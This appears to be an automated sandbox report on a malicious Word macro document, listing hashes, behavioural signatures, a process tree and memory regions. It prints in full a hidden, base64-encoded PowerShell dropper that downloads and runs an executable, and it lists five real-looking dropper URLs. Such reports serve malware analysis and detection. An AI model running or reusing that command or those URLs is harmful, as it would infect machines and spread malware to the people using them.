Resubmissions

16/04/2025, 23:23

250416-3dkjmsw1ds 10

16/04/2025, 23:22

250416-3crxbs1ms5 10

16/04/2025, 23:16

250416-29atms1ly8 10

16/04/2025, 23:10

250416-2523bswzgx 10

16/04/2025, 21:45

250416-1madxsvzg1 10

16/04/2025, 21:28

250416-1be52azmt6 10

16/04/2025, 21:16

250416-z4vkrazlz9 10

16/04/2025, 21:06

250416-zx2eqavygy 10

Analysis

  • max time kernel
    101s
  • max time network
    127s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250410-es
  • resource tags

    arch:x64arch:x86image:win11-20250410-eslocale:es-esos:windows11-21h2-x64systemwindows
  • submitted
    16/04/2025, 23:23

General

  • Target

    virusshare/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc

  • Size

    182KB

  • MD5

    1ba8249d8503c0cf7bc125588c43bef9

  • SHA1

    eb473c845c7474010ff35a3e8a169a9b6b9e5ebe

  • SHA256

    a44031feb2a71980a0980377c8f7b6f3b5b9dfa0f708556dd420be323c7e1a38

  • SHA512

    b5421ca474e8ccd30683b90a83e98c6ba74c8418201aaa923ba6c7805ef724b37dfabb74cfedccbb69e3fcf923635f64faa406f280057404f78957df3d840c8c

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU9asiv8Oc7V:9NO2k4PF7tGiL3HJk9rD7b9asiv8dZ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\1\VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4416
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1764
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4912

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FA4B8B0.wmf

      Filesize

      444B

      MD5

      d0aaccf4ce5ef038a9b77de977cb1077

      SHA1

      bbcc1f10caa03e4665a9e677a421aa0c0f97852e

      SHA256

      be3ee88ab412a78b267bacbfb19ec1d465cd1a4907e0aedbdb8e4dcfba5da2ae

      SHA512

      50aab9bae8455d8a4147c2eaea075fd72b102b5c57949fd5b689359fec1c406d4778ff742ba2b9137ad3ed8d04740b101be67bec14b9417ad1e41e0f5f56577a

    • C:\Users\Admin\AppData\Local\Temp\TCDBBBE.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4be2p4e.13e.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4416-3-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4416-10-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-13-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-15-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-14-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-581-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-19-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-18-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-20-0x00007FFC32AB0000-0x00007FFC32AC0000-memory.dmp

      Filesize

      64KB

    • memory/4416-21-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-16-0x00007FFC32AB0000-0x00007FFC32AC0000-memory.dmp

      Filesize

      64KB

    • memory/4416-11-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-9-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-8-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-7-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-6-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-2-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4416-1-0x00007FFC74E43000-0x00007FFC74E44000-memory.dmp

      Filesize

      4KB

    • memory/4416-12-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-0-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4416-17-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-578-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4416-579-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4416-5-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4416-580-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4416-577-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4416-62-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-65-0x00007FFC74E43000-0x00007FFC74E44000-memory.dmp

      Filesize

      4KB

    • memory/4416-66-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-67-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-70-0x00007FFC74DA0000-0x00007FFC74FA9000-memory.dmp

      Filesize

      2.0MB

    • memory/4416-4-0x00007FFC34E30000-0x00007FFC34E40000-memory.dmp

      Filesize

      64KB

    • memory/4912-59-0x000001B1B8C80000-0x000001B1B8CC0000-memory.dmp

      Filesize

      256KB

    • memory/4912-56-0x000001B1B8D10000-0x000001B1B8E12000-memory.dmp

      Filesize

      1.0MB

    • memory/4912-54-0x000001B1B8B10000-0x000001B1B8B32000-memory.dmp

      Filesize

      136KB

    • memory/4912-55-0x000001B1B8AE0000-0x000001B1B8AF0000-memory.dmp

      Filesize

      64KB

    • memory/4912-45-0x000001B1B8B70000-0x000001B1B8BF2000-memory.dmp

      Filesize

      520KB